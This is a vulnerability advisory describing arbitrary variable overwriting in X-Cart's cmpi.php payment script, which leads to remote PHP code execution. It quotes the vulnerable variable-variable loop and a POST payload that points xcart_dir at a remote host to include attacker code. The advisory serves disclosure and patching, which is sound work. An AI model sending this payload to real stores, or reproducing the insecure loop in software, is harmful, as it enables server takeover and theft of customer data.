Thursday October 11, 2021
Languages
Most Viewed Items
  1 PHPXMLRPC Library Remote Code Execution
  2 Mambo Multiple Vulnerabilities
  3 Multiple Invision Power Board Vulnerabilities
  4 MySQL Eventum Multiple Vulnerabilities
  5 XOOPS 2.0.11 && Earlier Multiple Vulnerabilities
  6 Geeklog Remote Code Execution
  7 Gallery 2 Multiple Vulnerabilities
  8 XMB Forums Multiple Vulnerabilities
  9 phpRPC Library Remote Code Execution
10 RunCMS Multiple Vulnerabilities
Quick Search
You can use the form below to search our site. Just enter the keywords to search.
Home Archives Research
X-Cart Arbitrary Code Execution
September 18, 2021
Vendor : Qualiteam
URL : http://www.x-cart.com/
Version : X-Cart <= 4.1.3
Risk : Arbitrary Code Execution


Description:
X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory.


Arbitrary Variable Overwriting
X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question.
if ($HTTP_POST_VARS) {
	foreach ($HTTP_POST_VARS as $var => $value) {
		$$var = $value;
	}
}

As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables.

stand_alone=0&httpsmod;_active=1&orderids;=1&close;_frame=1&xcart;_dir=http://shell

By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases.


Solution:
The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible.


Credits:
James Bercegay of the GulfTech Security Research Team